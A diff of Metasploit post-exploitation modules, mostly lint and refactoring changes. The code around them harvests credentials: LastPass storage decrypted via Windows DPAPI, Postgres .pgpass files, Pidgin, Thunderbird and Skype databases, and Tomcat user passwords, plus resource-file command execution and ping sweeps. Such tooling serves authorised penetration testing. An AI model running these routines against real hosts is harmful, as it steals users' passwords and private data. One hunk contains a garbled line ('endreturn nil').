data = windows_unprotect(data) if !data.nil? && data.size > 32 # Verify Windows protection
|
||||
loot_path = loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
|
||||
loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
|
||||
account_map[account][browser]['lp_2fa'] = data
|
||||
else # Chrome, Safari and Opera
|
||||
loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
|
||||
@@ -530,7 +535,8 @@ class MetasploitModule < Msf::Post
|
||||
|
||||
session_cookie_value = result[0][0]
|
||||
end
|
||||
return if session_cookie_value.blank?
|
||||
|
||||
next if session_cookie_value.blank?
|
||||
|
||||
# Check if cookie value needs to be decrypted
|
||||
if Rex::Text.encode_base64(session_cookie_value).match(/^AQAAA.+/) # Windows Data protection API
|
||||
@@ -633,7 +639,7 @@ class MetasploitModule < Msf::Post
|
||||
input.each_byte do |e|
|
||||
if e < 128
|
||||
output += e.chr
|
||||
elsif (e > 127 && e < 2048)
|
||||
elsif e > 127 && e < 2048
|
||||
output += (e >> 6 | 192).chr
|
||||
output += (e & 63 | 128).chr
|
||||
else
|
||||
@@ -666,9 +672,9 @@ class MetasploitModule < Msf::Post
|
||||
addr = Rex::Text.pack_int64le(mem)
|
||||
len = Rex::Text.pack_int64le(data.length)
|
||||
ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
|
||||
pData = ret['pDataOut'].unpack('VVVV')
|
||||
len = pData[0] + (pData[1] << 32)
|
||||
addr = pData[2] + (pData[3] << 32)
|
||||
p_data = ret['pDataOut'].unpack('VVVV')
|
||||
len = p_data[0] + (p_data[1] << 32)
|
||||
addr = p_data[2] + (p_data[3] << 32)
|
||||
end
|
||||
|
||||
return '' if len == 0
|
||||
@@ -736,7 +742,7 @@ class MetasploitModule < Msf::Post
|
||||
encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1]
|
||||
label != 'url' ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack('H*')
|
||||
decrypted_data = '' if decrypted_data.nil?
|
||||
vault_data << decrypted_data if (label == 'url' || label == 'username' || label == 'password')
|
||||
vault_data << decrypted_data if label == 'url' || label == 'username' || label == 'password'
|
||||
pointer = pointer + 4 + length
|
||||
end
|
||||
|
||||
|
||||
@@ -31,6 +31,11 @@ class MetasploitModule < Msf::Post
|
||||
core_channel_write
|
||||
]
|
||||
}
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
@@ -11,7 +11,7 @@ class MetasploitModule < Msf::Post
|
||||
info,
|
||||
'Name' => 'Gather MinIO Client Key',
|
||||
'Description' => %q{
|
||||
This is a module that searches for MinIO Client credentials on a windows remote host.
|
||||
This module searches for MinIO Client credentials on a Windows host.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
|
||||
@@ -17,41 +17,50 @@ class MetasploitModule < Msf::Post
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
||||
'Platform' => %w[bsd linux osx unix win],
|
||||
'SessionTypes' => ['meterpreter']
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('RESOURCE', [true, 'Full path to resource file to read commands from.', nil])
|
||||
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
print_status("Running module against #{sysinfo['Computer']}")
|
||||
if !::File.exist?(datastore['RESOURCE'])
|
||||
raise 'Resource File does not exist!'
|
||||
else
|
||||
::File.open(datastore['RESOURCE'], 'rb').each_line do |cmd|
|
||||
next if cmd.strip.empty?
|
||||
next if cmd[0, 1] == '#'
|
||||
raise 'Resource File does not exist!' unless ::File.exist?(datastore['RESOURCE'])
|
||||
|
||||
begin
|
||||
tmpout = "\n"
|
||||
tmpout << "*****************************************\n"
|
||||
tmpout << " Output of #{cmd}\n"
|
||||
tmpout << "*****************************************\n"
|
||||
print_status "Running command #{cmd.chomp}"
|
||||
tmpout << cmd_exec(cmd.chomp)
|
||||
vprint_status tmpout
|
||||
command_log = store_loot('host.command', 'text/plain', session, tmpout,
|
||||
"#{cmd.gsub(%r{\.|/|\s}, '_')}.txt", "Command Output \'#{cmd.chomp}\'")
|
||||
print_good("Command output saved to: #{command_log}")
|
||||
rescue ::Exception => e
|
||||
print_bad("Error Running Command #{cmd.chomp}: #{e.class} #{e}")
|
||||
end
|
||||
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
|
||||
print_status("Running module against #{hostname} (#{session.session_host})")
|
||||
|
||||
::File.open(datastore['RESOURCE'], 'rb').each_line do |cmd|
|
||||
next if cmd.strip.empty?
|
||||
next if cmd.start_with?('#')
|
||||
|
||||
begin
|
||||
tmpout = "\n"
|
||||
tmpout << "*****************************************\n"
|
||||
tmpout << " Output of #{cmd}\n"
|
||||
tmpout << "*****************************************\n"
|
||||
print_status "Running command #{cmd.chomp}"
|
||||
tmpout << cmd_exec(cmd.chomp)
|
||||
vprint_status(tmpout)
|
||||
command_log = store_loot(
|
||||
'host.command',
|
||||
'text/plain',
|
||||
session,
|
||||
tmpout,
|
||||
"#{cmd.gsub(%r{\.|/|\s}, '_')}.txt",
|
||||
"Command Output '#{cmd.chomp}'"
|
||||
)
|
||||
print_good("Command output saved to: #{command_log}")
|
||||
rescue StandardError => e
|
||||
print_bad("Error Running Command #{cmd.chomp}: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -18,7 +18,12 @@ class MetasploitModule < Msf::Post
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Jon Hart <jhart[at]spoofed.org>' ],
|
||||
'Platform' => %w[bsd linux osx unix],
|
||||
'SessionTypes' => [ 'shell' ]
|
||||
'SessionTypes' => [ 'shell' ],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
@@ -75,7 +80,7 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
|
||||
# save whatever remains of this last cred if it is worth saving
|
||||
creds << cred if (cred[:host] && cred[:user] && cred[:pass])
|
||||
creds << cred if cred[:host] && cred[:user] && cred[:pass]
|
||||
end
|
||||
|
||||
# print out everything we've found
|
||||
|
||||
@@ -20,7 +20,12 @@ class MetasploitModule < Msf::Post
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Zach Grace <zgrace[at]403labs.com>'],
|
||||
'Platform' => %w[linux bsd unix osx win],
|
||||
'SessionTypes' => %w[meterpreter shell]
|
||||
'SessionTypes' => %w[meterpreter shell],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
@@ -34,7 +39,7 @@ class MetasploitModule < Msf::Post
|
||||
files = enum_user_directories.map { |d| d + '/.pgpass' }.select { |f| file?(f) }
|
||||
when 'windows'
|
||||
if session.type != 'meterpreter'
|
||||
print_error('Only meterpreter sessions are supported on windows hosts')
|
||||
print_error('Only meterpreter sessions are supported on Windows hosts')
|
||||
return
|
||||
end
|
||||
|
||||
@@ -58,21 +63,21 @@ class MetasploitModule < Msf::Post
|
||||
# Store the loot
|
||||
print_good("Downloading #{f}")
|
||||
pgpass_path = store_loot('postgres.pgpass', 'text/plain', session, read_file(f), f.to_s, "pgpass #{f} file")
|
||||
print_good "Postgres credentials file saved to #{pgpass_path}"
|
||||
print_good("Postgres credentials file saved to #{pgpass_path}")
|
||||
# Store the creds
|
||||
parse_creds(f)
|
||||
end
|
||||
end
|
||||
|
||||
# Store the creds to
|
||||
def parse_creds(f)
|
||||
def parse_creds(fname)
|
||||
cred_table = Rex::Text::Table.new(
|
||||
'Header' => 'Postgres Data',
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Host', 'Port', 'DB', 'User', 'Password']
|
||||
)
|
||||
|
||||
read_file(f).each_line do |entry|
|
||||
read_file(fname).each_line do |entry|
|
||||
# skip comments
|
||||
next if entry.lstrip[0, 1] == '#'
|
||||
|
||||
|
||||
@@ -36,13 +36,17 @@ class MetasploitModule < Msf::Post
|
||||
stdapi_sys_config_getuid
|
||||
]
|
||||
}
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('CONTACTS', [false, 'Collect contact lists?', false]),
|
||||
# Not supported yet OptBool.new('LOGS', [false, 'Gather log files?', false]),
|
||||
]
|
||||
)
|
||||
end
|
||||
@@ -85,6 +89,7 @@ class MetasploitModule < Msf::Post
|
||||
home = '/home/'
|
||||
end
|
||||
|
||||
# @todo use Msf::Post::File
|
||||
if got_root?
|
||||
userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
|
||||
userdirs << "/root\n"
|
||||
@@ -115,22 +120,21 @@ class MetasploitModule < Msf::Post
|
||||
end
|
||||
|
||||
def check_pidgin(purpledir)
|
||||
path = ''
|
||||
print_status("Checking for Pidgin profile in: #{purpledir}")
|
||||
|
||||
session.fs.dir.foreach(purpledir) do |dir|
|
||||
if dir =~ /\.purple/
|
||||
if @platform == :windows
|
||||
print_status("Found #{purpledir}\\#{dir}")
|
||||
path = "#{purpledir}\\#{dir}"
|
||||
else
|
||||
print_status("Found #{purpledir}/#{dir}")
|
||||
path = "#{purpledir}/#{dir}"
|
||||
end
|
||||
print_status("Found #{path}")
|
||||
return path
|
||||
end
|
||||
end
|
||||
return nil
|
||||
endreturn nil
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def get_pidgin_creds(paths)
|
||||
@@ -272,11 +276,11 @@ class MetasploitModule < Msf::Post
|
||||
creds << account
|
||||
|
||||
print_status('Collected the following credentials:')
|
||||
print_status(' Server: %s:%s' % [account['server'], account['port']])
|
||||
print_status(' Protocol: %s' % account['protocol'])
|
||||
print_status(' Username: %s' % account['user'])
|
||||
print_status(' Password: %s' % account['password'])
|
||||
print_line('')
|
||||
print_status(" Server: #{account['server']}:#{account['port']}")
|
||||
print_status(" Protocol: #{account['protocol']}")
|
||||
print_status(" Username: #{account['user']}")
|
||||
print_status(" Password: #{account['password']}")
|
||||
print_line
|
||||
end
|
||||
|
||||
return creds
|
||||
@@ -313,11 +317,11 @@ class MetasploitModule < Msf::Post
|
||||
|
||||
buddies << contact
|
||||
print_status('Collected the following contacts:')
|
||||
print_status(' Buddy Name: %s' % contact['name'])
|
||||
print_status(' Alias: %s' % contact['alias'])
|
||||
print_status(' Protocol: %s' % contact['protocol'])
|
||||
print_status(' Account: %s' % contact['account'])
|
||||
print_line('')
|
||||
print_status(" Buddy Name: #{contact['name']}")
|
||||
print_status(" Alias: #{contact['alias']}")
|
||||
print_status(" Protocol: #{contact['protocol']}")
|
||||
print_status(" Account: #{contact['account']}")
|
||||
print_line
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -14,14 +14,17 @@ class MetasploitModule < Msf::Post
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
||||
'Platform' => %w[bsd linux osx solaris win],
|
||||
'SessionTypes' => [ 'meterpreter', 'shell' ]
|
||||
'SessionTypes' => [ 'meterpreter', 'shell' ],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
|
||||
OptAddressRange.new('RHOSTS', [true, 'IP Range to perform ping sweep against.']),
|
||||
|
||||
]
|
||||
)
|
||||
end
|
||||
@@ -56,7 +59,7 @@ class MetasploitModule < Msf::Post
|
||||
|
||||
ip_found = []
|
||||
|
||||
while (!iplst.nil? && !iplst.empty?)
|
||||
while !iplst.nil? && !iplst.empty?
|
||||
a = []
|
||||
1.upto session.max_threads do
|
||||
a << framework.threads.spawn("Module(#{refname})", false, iplst.shift) do |ip_add|
|
||||
@@ -78,8 +81,9 @@ class MetasploitModule < Msf::Post
|
||||
a.map(&:join)
|
||||
end
|
||||
rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
|
||||
rescue ::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
vprint_error(e.message)
|
||||
rescue StandardError => e
|
||||
print_status("The following error was encountered: #{e.class} #{e}")
|
||||
end
|
||||
|
||||
ip_found.each do |ip|
|
||||
|
||||
@@ -20,7 +20,12 @@ class MetasploitModule < Msf::Post
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Jon Hart <jon_hart[at]rapid7.com>'],
|
||||
'Platform' => %w[bsd linux osx unix],
|
||||
'SessionTypes' => %w[shell meterpreter]
|
||||
'SessionTypes' => %w[shell meterpreter],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
@@ -23,6 +23,11 @@ class MetasploitModule < Msf::Post
|
||||
stdapi_net_resolve_hosts
|
||||
]
|
||||
}
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
@@ -17,7 +17,12 @@ class MetasploitModule < Msf::Post
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ],
|
||||
'SessionTypes' => %w[shell]
|
||||
'SessionTypes' => %w[shell],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
@@ -21,7 +21,12 @@ class MetasploitModule < Msf::Post
|
||||
],
|
||||
'Platform' => %w[bsd linux osx unix],
|
||||
'SessionTypes' => %w[shell],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
@@ -17,34 +17,38 @@ class MetasploitModule < Msf::Post
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
|
||||
OptString.new('RESOURCE', [true, 'Full path to resource file to read commands from.', nil]),
|
||||
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
print_status("Running module against #{sysinfo['Computer']}")
|
||||
if !::File.exist?(datastore['RESOURCE'])
|
||||
raise 'Resource File does not exist!'
|
||||
else
|
||||
::File.open(datastore['RESOURCE'], 'rb').each_line do |cmd|
|
||||
next if cmd.strip.empty?
|
||||
next if cmd[0, 1] == '#'
|
||||
end
|
||||
|
||||
begin
|
||||
print_status "Running command #{cmd.chomp}"
|
||||
session.console.run_single(cmd.chomp)
|
||||
rescue ::Exception => e
|
||||
print_status("Error Running Command #{cmd.chomp}: #{e.class} #{e}")
|
||||
end
|
||||
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
|
||||
print_status("Running module against #{hostname} (#{session.session_host})")
|
||||
|
||||
::File.open(datastore['RESOURCE'], 'rb').each_line do |cmd|
|
||||
next if cmd.strip.empty?
|
||||
next if cmd.start_with?('#')
|
||||
|
||||
begin
|
||||
print_status "Running command #{cmd.chomp}"
|
||||
session.console.run_single(cmd.chomp)
|
||||
rescue StandardError => e
|
||||
print_status("Error Running Command #{cmd.chomp}: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -35,6 +35,11 @@ class MetasploitModule < Msf::Post
|
||||
stdapi_fs_stat
|
||||
]
|
||||
}
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
@@ -46,10 +51,9 @@ class MetasploitModule < Msf::Post
|
||||
)
|
||||
end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
# syinfo is only on meterpreter sessions
|
||||
print_status("Running Skype enumeration against #{sysinfo['Computer']}") if !sysinfo.nil?
|
||||
print_status("Running Skype enumeration against #{sysinfo['Computer']}") unless sysinfo.nil?
|
||||
|
||||
# Ensure that SQLite3 gem is installed
|
||||
begin
|
||||
@@ -71,12 +75,12 @@ class MetasploitModule < Msf::Post
|
||||
next unless check_skype("#{p['dir']}/Library/Application Support/", p['name'])
|
||||
|
||||
db_in_loot = download_db(p)
|
||||
# Exit if file was not successfully downloaded
|
||||
return if db_in_loot.nil?
|
||||
|
||||
next if db_in_loot.nil?
|
||||
|
||||
process_db(db_in_loot, p['name'])
|
||||
end
|
||||
elsif (((session.platform = - 'windows')) && (session.type == 'meterpreter'))
|
||||
elsif ((session.platform = - 'windows')) && (session.type == 'meterpreter')
|
||||
# Iterate thru each user profile in a Windows System using Meterpreter Post API
|
||||
grab_user_profiles.each do |p|
|
||||
if check_skype(p['AppData'], p['UserName'])
|
||||
@@ -121,11 +125,13 @@ class MetasploitModule < Msf::Post
|
||||
file = cmd_exec('mdfind', "-onlyin #{profile['dir']} -name main.db").split("\n").collect { |p| p =~ %r{Skype/\w*/main.db$} ? p : nil }.compact
|
||||
end
|
||||
|
||||
file_loc = store_loot('skype.config',
|
||||
'binary/db',
|
||||
session,
|
||||
'main.db',
|
||||
"Skype Configuration database for #{profile['UserName']}")
|
||||
file_loc = store_loot(
|
||||
'skype.config',
|
||||
'binary/db',
|
||||
session,
|
||||
'main.db',
|
||||
"Skype Configuration database for #{profile['UserName']}"
|
||||
)
|
||||
|
||||
file.each do |db|
|
||||
if session.type == 'meterpreter'
|
||||
@@ -138,7 +144,8 @@ class MetasploitModule < Msf::Post
|
||||
maindb = cmd_exec('cat', "\"#{db}\"", datastore['TIMEOUT'])
|
||||
if maindb.nil?
|
||||
print_error('Could not download the file. Set the TIMEOUT option to a higher number.')
|
||||
return
|
||||
file_loc = nil
|
||||
break
|
||||
end
|
||||
# Saving the content as binary so it can be used
|
||||
output = ::File.open(file_loc, 'wb')
|
||||
@@ -185,12 +192,14 @@ class MetasploitModule < Msf::Post
|
||||
|
||||
# Check if an account exists and if it does enumerate if not exit.
|
||||
if user_rows.length > 1
|
||||
user_info = store_loot('skype.accounts',
|
||||
'text/plain',
|
||||
session,
|
||||
'',
|
||||
'skype_accounts.csv',
|
||||
"Skype User #{user} Account information from configuration database.")
|
||||
user_info = store_loot(
|
||||
'skype.accounts',
|
||||
'text/plain',
|
||||
session,
|
||||
'',
|
||||
'skype_accounts.csv',
|
||||
"Skype User #{user} Account information from configuration database."
|
||||
)
|
||||
print_good("Saving account information to #{user_info}")
|
||||
save_csv(user_rows, user_info)
|
||||
else
|
||||
|
||||
@@ -30,6 +30,11 @@ class MetasploitModule < Msf::Post
|
||||
stdapi_fs_separator
|
||||
]
|
||||
}
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
@@ -38,6 +38,11 @@ class MetasploitModule < Msf::Post
|
||||
stdapi_sys_config_getenv
|
||||
]
|
||||
}
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
@@ -89,20 +94,22 @@ class MetasploitModule < Msf::Post
|
||||
# The routine will attempt to parse the sqlite db if the PARSE option is true,
|
||||
# and that SQLite3 is installed on the user's box.
|
||||
#
|
||||
def download_loot(p)
|
||||
def download_loot(path)
|
||||
# These are the files we wanna grab for the directory for future decryption
|
||||
files = ['signons.sqlite', 'key3.db', 'cert8.db']
|
||||
|
||||
files.each do |item|
|
||||
loot = ''
|
||||
|
||||
# Downaload the file
|
||||
# Download the file
|
||||
# # @todo replace this with `Msf::Post::File.read_file`
|
||||
if session.type == 'meterpreter'
|
||||
vprint_status("Downloading: #{p + item}")
|
||||
vprint_status("Downloading: #{path + item}")
|
||||
begin
|
||||
f = session.fs.file.new(p + item, 'rb')
|
||||
f = session.fs.file.new(path + item, 'rb')
|
||||
loot << f.read until f.eof?
|
||||
rescue ::Exception => e
|
||||
rescue StandardError => e
|
||||
vprint_error(e.message)
|
||||
ensure
|
||||
f.close
|
||||
end
|
||||
@@ -110,7 +117,7 @@ class MetasploitModule < Msf::Post
|
||||
cmd_show = (session.platform == 'windows') ? 'type' : 'cat'
|
||||
# The type command will add a 0x0a character in the file? Pff.
|
||||
# Gotta lstrip that.
|
||||
loot = cmd_exec(cmd_show, "\"#{p + item}\"").lstrip
|
||||
loot = cmd_exec(cmd_show, "\"#{path + item}\"").lstrip
|
||||
next if loot =~ /system cannot find the file specified|No such file/
|
||||
end
|
||||
|
||||
@@ -118,7 +125,7 @@ class MetasploitModule < Msf::Post
|
||||
ext = ::File.extname(item)
|
||||
ext = ext[1, ext.length]
|
||||
|
||||
path = store_loot(
|
||||
loot_path = store_loot(
|
||||
"tb.#{item}",
|
||||
"binary/#{ext}",
|
||||
session,
|
||||
@@ -127,26 +134,27 @@ class MetasploitModule < Msf::Post
|
||||
"Thunderbird Raw File #{item}"
|
||||
)
|
||||
|
||||
print_status("#{item} saved in #{path}")
|
||||
print_status("#{item} saved in #{loot_path}")
|
||||
|
||||
# Parse signons.sqlite
|
||||
next unless item =~ (/signons\.sqlite/) && datastore['PARSE']
|
||||
|
||||
print_status('Parsing signons.sqlite...')
|
||||
data_tbl = parse(path)
|
||||
data_tbl = parse(loot_path)
|
||||
if data_tbl.nil? || data_tbl.rows.empty?
|
||||
print_status('No data parsed')
|
||||
else
|
||||
path = store_loot(
|
||||
"tb.parsed.#{item}",
|
||||
'text/plain',
|
||||
session,
|
||||
data_tbl.to_csv,
|
||||
"thunderbird_parsed_#{item}",
|
||||
"Thunderbird Parsed File #{item}"
|
||||
)
|
||||
print_status("Parsed signons.sqlite saved in: #{path}")
|
||||
next
|
||||
end
|
||||
|
||||
loot_path = store_loot(
|
||||
"tb.parsed.#{item}",
|
||||
'text/plain',
|
||||
session,
|
||||
data_tbl.to_csv,
|
||||
"thunderbird_parsed_#{item}",
|
||||
"Thunderbird Parsed File #{item}"
|
||||
)
|
||||
print_status("Parsed signons.sqlite saved in: #{loot_path}")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -167,8 +175,8 @@ class MetasploitModule < Msf::Post
|
||||
# Load the database
|
||||
db = SQLite3::Database.new(file)
|
||||
begin
|
||||
columns, *rows = db.execute('select * from moz_logins')
|
||||
rescue ::Exception => e
|
||||
_, *rows = db.execute('select * from moz_logins')
|
||||
rescue StandardError => e
|
||||
print_error("doh! #{e}")
|
||||
return nil
|
||||
ensure
|
||||
|
||||
@@ -20,18 +20,23 @@ class MetasploitModule < Msf::Post
|
||||
'Koen Riepe <koen.riepe@fox-it.com>', # Module author
|
||||
],
|
||||
'Platform' => [ 'win', 'linux' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
$username = []
|
||||
$password = []
|
||||
$port = []
|
||||
$paths = []
|
||||
@username = []
|
||||
@password = []
|
||||
@port = []
|
||||
@paths = []
|
||||
|
||||
def report_creds(user, pass, port)
|
||||
return if (user.empty? || pass.empty?)
|
||||
return if user.blank? || pass.blank?
|
||||
|
||||
# Assemble data about the credential objects we will be creating
|
||||
credential_data = {
|
||||
@@ -46,7 +51,7 @@ class MetasploitModule < Msf::Post
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
if !port.is_a? Integer
|
||||
if !port.is_a?(Integer)
|
||||
port = 8080
|
||||
print_status("Port not an Integer, defaulting to port #{port} for creds database")
|
||||
end
|
||||
@@ -63,67 +68,68 @@ class MetasploitModule < Msf::Post
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def gatherwin
|
||||
def gather_win
|
||||
print_status('Windows OS detected, enumerating services')
|
||||
tomcatHomeArray = []
|
||||
tomcat_home_array = []
|
||||
service_list.each do |service|
|
||||
if service[:name].downcase.include? 'tomcat'
|
||||
print_good('Tomcat service found')
|
||||
tomcatHomeArray.push(service_info(service[:name])[:path].split('\\bin\\')[0])
|
||||
tomcat_home_array.push(service_info(service[:name])[:path].split('\\bin\\')[0])
|
||||
end
|
||||
end
|
||||
|
||||
if !tomcatHomeArray.empty?
|
||||
tomcatHomeArray.each do |tomcat_home|
|
||||
if tomcat_home.include? '"'
|
||||
tomcat_home = tomcat_home.split('"')[1]
|
||||
end
|
||||
if tomcat_home_array.empty?
|
||||
print_status('No Tomcat home can be determined')
|
||||
return
|
||||
end
|
||||
|
||||
conf_path = "#{tomcat_home}\\conf\\tomcat-users.xml"
|
||||
tomcat_home_array.each do |tomcat_home|
|
||||
if tomcat_home.include? '"'
|
||||
tomcat_home = tomcat_home.split('"')[1]
|
||||
end
|
||||
|
||||
if exist?(conf_path)
|
||||
print_status("#{conf_path} found!")
|
||||
xml = read_file(conf_path).split("\n")
|
||||
conf_path = "#{tomcat_home}\\conf\\tomcat-users.xml"
|
||||
|
||||
comment_block = false
|
||||
xml.each do |line|
|
||||
if line.include?('<user username=') && !comment_block
|
||||
$username.push(line.split('<user username="')[1].split('"')[0])
|
||||
$password.push(line.split('password="')[1].split('"')[0])
|
||||
$paths.push(conf_path)
|
||||
elsif line.include?('<!--')
|
||||
comment_block = true
|
||||
elsif line.include?(('-->')) && comment_block
|
||||
comment_block = false
|
||||
end
|
||||
end
|
||||
end
|
||||
if exist?(conf_path)
|
||||
print_status("#{conf_path} found!")
|
||||
xml = read_file(conf_path).split("\n")
|
||||
|
||||
port_path = "#{tomcat_home}\\conf\\server.xml"
|
||||
if exist?(port_path)
|
||||
xml = read_file(port_path).split("\n")
|
||||
end
|
||||
comment_block = false
|
||||
xml.each do |line|
|
||||
if line.include?('<Connector') && !comment_block
|
||||
i = 0
|
||||
while i < $username.count
|
||||
$port.push(line.split('<Connector port="')[1].split('"')[0].to_i)
|
||||
i += 1
|
||||
end
|
||||
if line.include?('<user username=') && !comment_block
|
||||
@username.push(line.split('<user username="')[1].split('"')[0])
|
||||
@password.push(line.split('password="')[1].split('"')[0])
|
||||
@paths.push(conf_path)
|
||||
elsif line.include?('<!--')
|
||||
comment_block = true
|
||||
elsif line.include?(('-->')) && comment_block
|
||||
elsif line.include?('-->') && comment_block
|
||||
comment_block = false
|
||||
end
|
||||
end
|
||||
end
|
||||
else
|
||||
print_status('No Tomcat home can be determined')
|
||||
|
||||
port_path = "#{tomcat_home}\\conf\\server.xml"
|
||||
if exist?(port_path)
|
||||
xml = read_file(port_path).split("\n")
|
||||
end
|
||||
comment_block = false
|
||||
xml.each do |line|
|
||||
if line.include?('<Connector') && !comment_block
|
||||
i = 0
|
||||
while i < @username.count
|
||||
@port.push(line.split('<Connector port="')[1].split('"')[0].to_i)
|
||||
i += 1
|
||||
end
|
||||
elsif line.include?('<!--')
|
||||
comment_block = true
|
||||
elsif line.include?('-->') && comment_block
|
||||
comment_block = false
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def gathernix
|
||||
def gather_nix
|
||||
print_status('Unix OS detected')
|
||||
user_files = cmd_exec('locate tomcat-users.xml').split("\n")
|
||||
if !user_files.empty?
|
||||
@@ -136,12 +142,12 @@ class MetasploitModule < Msf::Post
|
||||
comment_block = false
|
||||
xml.each do |line|
|
||||
if line.include?('<user username=') && !comment_block
|
||||
$username.push(line.split('<user username="')[1].split('"')[0])
|
||||
$password.push(line.split('password="')[1].split('"')[0])
|
||||
$paths.push(path)
|
||||
@username.push(line.split('<user username="')[1].split('"')[0])
|
||||
@password.push(line.split('password="')[1].split('"')[0])
|
||||
@paths.push(path)
|
||||
elsif line.include?('<!--')
|
||||
comment_block = true
|
||||
elsif line.include?(('-->')) && comment_block
|
||||
elsif line.include?('-->') && comment_block
|
||||
comment_block = false
|
||||
end
|
||||
end
|
||||
